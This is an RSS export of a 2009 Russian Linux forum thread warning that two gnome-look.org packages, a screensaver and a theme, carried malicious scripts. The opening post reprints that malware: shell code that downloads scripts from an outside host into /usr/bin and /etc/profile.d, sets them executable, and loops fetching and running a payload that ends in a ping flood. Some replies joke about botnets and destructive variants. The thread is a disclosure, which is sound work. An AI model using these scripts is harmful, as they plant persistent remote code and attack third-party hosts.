rulinux.net - Форум - Talks - Вредоносные скрипты на gnome-look.org! http://rulinux.net/ rulinux.net - Форум - Talks - Вредоносные скрипты на gnome-look.org! http://rulinux.net/ http://rulinux.net/rss_icon.png Re: Вредоносные скрипты на gnome-look.org! https://rulinux.net/message.php?newsid=5427&page=1#34171 https://rulinux.net/message.php?newsid=5427&page=1#34171 Thu, 10 Dec 2009 12:19:38 +0300 >Повторяй это как мантру. Глядишь, скрипты из /etc/profile.d перестанут запускаться.

Люся, ты хоть читай не сквозь пальцы.

Ясно же написано, как этот скрипт запустится то сам?

]]> Re: Вредоносные скрипты на gnome-look.org! https://rulinux.net/message.php?newsid=5427&page=1#34170 https://rulinux.net/message.php?newsid=5427&page=1#34170 Thu, 10 Dec 2009 11:59:14 +0300 >Ясен куй его запустит какой нибудь малолетний долбойоб.

Повторяй это как мантру. Глядишь, скрипты из /etc/profile.d перестанут запускаться.

]]> Re: Вредоносные скрипты на gnome-look.org! https://rulinux.net/message.php?newsid=5427&page=1#34169 https://rulinux.net/message.php?newsid=5427&page=1#34169 Thu, 10 Dec 2009 11:52:54 +0300 Не, это фигню я видел :)

]]> Re: Вредоносные скрипты на gnome-look.org! https://rulinux.net/message.php?newsid=5427&page=1#34168 https://rulinux.net/message.php?newsid=5427&page=1#34168 Thu, 10 Dec 2009 11:47:45 +0300 Мда, как только не извратятся.

Нет, чтобы просто написать:

"If you like this theme, please ping <че-то там>"

Ну да, линкусоиды извращенцы, давайте напишем скрипт для пинга...

И кстати, как он работает? Он же не автоматически все это делать будет.

Ясен куй его запустит какой нибудь малолетний долбойоб.

]]> Re: Вредоносные скрипты на gnome-look.org! https://rulinux.net/message.php?newsid=5427&page=1#34167 https://rulinux.net/message.php?newsid=5427&page=1#34167 Thu, 10 Dec 2009 11:44:47 +0300 Эх, старичье-дурачье... вот, внеси в букмарки:  http://www.lor-ng.org/tracker.php

]]> Re: Вредоносные скрипты на gnome-look.org! https://rulinux.net/message.php?newsid=5427&page=1#34166 https://rulinux.net/message.php?newsid=5427&page=1#34166 Thu, 10 Dec 2009 11:39:52 +0300 > Всегда интересовал один вопрос: главную кто-нибудь читает, а?
Честно? Никогда. У меня и закладка в браузере только на толксы. А что, тут есть что-то ещё? :))))

]]> Re: Вредоносные скрипты на gnome-look.org! https://rulinux.net/message.php?newsid=5427&page=1#34165 https://rulinux.net/message.php?newsid=5427&page=1#34165 Thu, 10 Dec 2009 11:29:09 +0300 >Всегда интересовал один вопрос: главную кто-нибудь читает, а?

После того, как там удалили две моих новости, желание напрочь отпало.

]]> Re: Вредоносные скрипты на gnome-look.org! https://rulinux.net/message.php?newsid=5427&page=1#34164 https://rulinux.net/message.php?newsid=5427&page=1#34164 Thu, 10 Dec 2009 11:16:43 +0300 Всегда интересовал один вопрос: главную кто-нибудь читает, а?

]]> Re: Вредоносные скрипты на gnome-look.org! https://rulinux.net/message.php?newsid=5427&page=1#34163 https://rulinux.net/message.php?newsid=5427&page=1#34163 Thu, 10 Dec 2009 11:14:13 +0300 Я давно использую kde-look для поддержание ботнета. Хомячки думают, что если линукс, то 100% защита.

по сабжу: ничего страшного. У авторов явно проблемы с фантазией. Можно было сделать удаление случайных файлов в случайное время, ололо.

]]> Re: Вредоносные скрипты на gnome-look.org! https://rulinux.net/message.php?newsid=5427&page=1#34162 https://rulinux.net/message.php?newsid=5427&page=1#34162 Thu, 10 Dec 2009 10:57:32 +0300 Мляяя, я не знаю как тут форматировать, короче смотрите по ссылке  http://community.livejournal.com/ru_linux/2385548.html

]]> Вредоносные скрипты на gnome-look.org! https://rulinux.net/message.php?newsid=5427&page=1#34161 https://rulinux.net/message.php?newsid=5427&page=1#34161 Thu, 10 Dec 2009 10:56:00 +0300 Отсюда:  http://community.livejournal.com/ru_linux/2385548.html

За последние несколько дней на  http://gnome-look.org/ обнаружено уже 2 пакета содержащие вредоносные скрипты: скринсейвер WaterFall и тема оформления Ninja.

Скрипт: 1 #!/bin/sh 2 cd /usr/bin/ 3 rm Auto.bash 4 sleep 1 5 wget  http://05748.t35.com/Bots/Auto.bash 6 chmod 777 Auto.bash 7 echo ----------------- 8 cd /etc/profile.d/ 9 rm gnome.sh 10 sleep 1 11 wget  http://05748.t35.com/Bots/gnome.sh 12 chmod 777 gnome.sh 13 echo ----------------- 14 clear 15 exit

Содержание скрипта Auto.bash: 1 while : 2 do 3 rm /usr/bin/run.bash 4 cd /usr/bin/ 5 wget  http://05748.t35.com/Bots/index.php 6 wget  http://05748.t35.com/Bots/run.bash 7 sleep 4 8 rm index.php 9 chmod 755 run.bash 10 command -p /usr/bin/run.bash 11 done

В конечном итоге выполнялась команда: ping -s 65507 www.mmowned.com

]]>